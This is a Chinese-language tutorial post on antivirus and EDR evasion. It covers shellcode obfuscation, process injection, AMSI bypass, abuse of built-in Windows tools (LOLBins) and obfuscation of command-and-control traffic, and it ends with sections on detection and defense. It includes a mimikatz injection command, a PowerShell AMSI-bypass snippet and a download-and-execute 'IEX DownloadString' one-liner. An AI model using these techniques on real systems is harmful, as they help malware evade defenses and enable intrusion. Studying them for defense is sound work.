免杀基础与对抗(shellcode 混淆/进程注入/AMSI 绕过)

免杀基础全解析:shellcode 异或/替换混淆、进程注入、AMSI bypass、合法工具滥用、C2 协议混淆,含层级图与检测防御。

写在前面:合法学习边界

免杀技术只用于授权靶场。对非授权系统免杀可能触犯法律。

一、免杀是什么

免杀(AV Evasion)是让恶意软件/工具不被杀毒软件/EDR 检测的技术。核心是绕过检测机制:静态特征匹配、行为分析、云查杀。

二、免杀技术层级图

免杀技术层级图

三、shellcode 混淆

1
2
3
4
5
6
7
shellcode 是一段机器码,直接执行系统调用。杀毒软件通过特征匹配识别 shellcode。

混淆方法:
1. 异或混淆:shellcode XOR 0x55,运行时还原
2. 字节替换:替换关键字节(nop 填充)
3. 分段混淆:分块加密,运行时拼接
4. 加密:AES/RC4 加密整个 shellcode
1
2
3
4
工具:
• shellcode 手动 XOR 混淆
• CS shellcode 混淆器(内置)
• MSF encoder(shikata_ga_nai)

四、进程注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
将 shellcode 注入合法进程(explorer.exe / svchost.exe)执行。

方法:
1. 创建远程线程(CreateRemoteThread)
2. Process Hollowing(空壳注入)
3. APC 注入
4. DLL 侧加载

工具:
• mimikatz:processinject
• CobaltStrike:execute-assembly
• PowerSploit:Invoke-PSInject
1
2
3
# mimikatz 注入
privilege::debug
processinject <explorer_pid> x64 payload.bin

五、AMSI 绕过

AMSI(Antimalware Scan Interface)是 Windows 提供的反恶意软件接口,PowerShell/Script 执行前会通过 AMSI 扫描。

1
2
3
4
5
6
7
8
绕过方法:
1. Patch AMSI.dll 的 buffer 指针(最常见)
2. Patch AMSI 返回函数
3. 禁用 AMSI(需要高权限)

工具:
• PowerShdll(绕过 AMSI 加载 PowerShell 脚本)
• AMSI Bypass PowerShell 脚本(patch amsi.dll)
1
2
3
4
5
6
7
8
9
# PowerShell AMSI bypass(经典)
$w = [Ref].Assembly.GetType('System.Runtime.InteropServices.WindowsRuntime')
$amsi = [AppDomain]::CurrentDomain.GetAssemblies() |
  Where-Object { $_.GlobalAssemblyCache -eq $false -and $_.Location.Contains('System.Management.Automation') } |
  Select-Object -First 1
$buffer = $amsi.GetTypes() |
  Where-Object { $_.Name -match 'AMSI' } |
  Select-Object -First 1
$buffer.GetField('buffer').SetValue($null, [byte[]]@())

六、合法工具滥用(LOLBins)

1
2
3
4
5
6
7
8
9
利用 Windows 自带的合法工具执行恶意操作,绕过杀毒检测。

常用 LOLBins:
• PowerShell:IEX(New-Object Net.WebClient).DownloadString(...)
• MSBuild:编译并执行 .csproj(加载恶意 C#)
• WMI:wmic / winrm(执行命令)
• certutil:certutil -decode(解码文件)
• rundll32:加载 DLL 入口点
• mshta:执行 HTA 文件(含 JavaScript/VBScript)

七、C2 协议混淆

1
2
3
4
5
6
7
C2(Command and Control)通信的流量特征可被检测。

混淆方法:
1. HTTPS + 合法证书:流量看起来像正常 HTTPS
2. DNS C2:流量伪装成 DNS 查询
3. xray 混淆:V2Ray 协议混在正常流量中
4. 代理隧道:通过 frp/DNS/ICMP 隧道

八、组合使用

1
2
3
4
典型组合:
shellcode XOR 混淆 → 注入 explorer.exe → AMSI bypass → HTTPS C2 → LOLBins 执行

每一步都增加检测难度,单独使用效果有限,组合使用才能上线。

九、检测

1
2
3
4
• EDR 行为检测:异常进程父子关系、内存操作
• AMSI 日志:检测 AMSI buffer 修改
• 网络:C2 流量特征(高频/规律性)
• 注册表:LOLBins 异常参数调用

十、防御

1
2
3
4
5
6
1. EDR(行为检测,不只是签名)
2. ASR 规则(限制 Office/脚本创建子进程)
3. Credential Guard(防内存提取)
4. 内存完整性保护
5. 网络隔离(禁止直连公网)
6. 最小权限

十一、小结

免杀的核心是"理解检测机制 → 找到盲区 → 组合使用"。层级越高越难检测,但落地越复杂。防守的核心是 EDR 行为分析 + AMSI + ASR。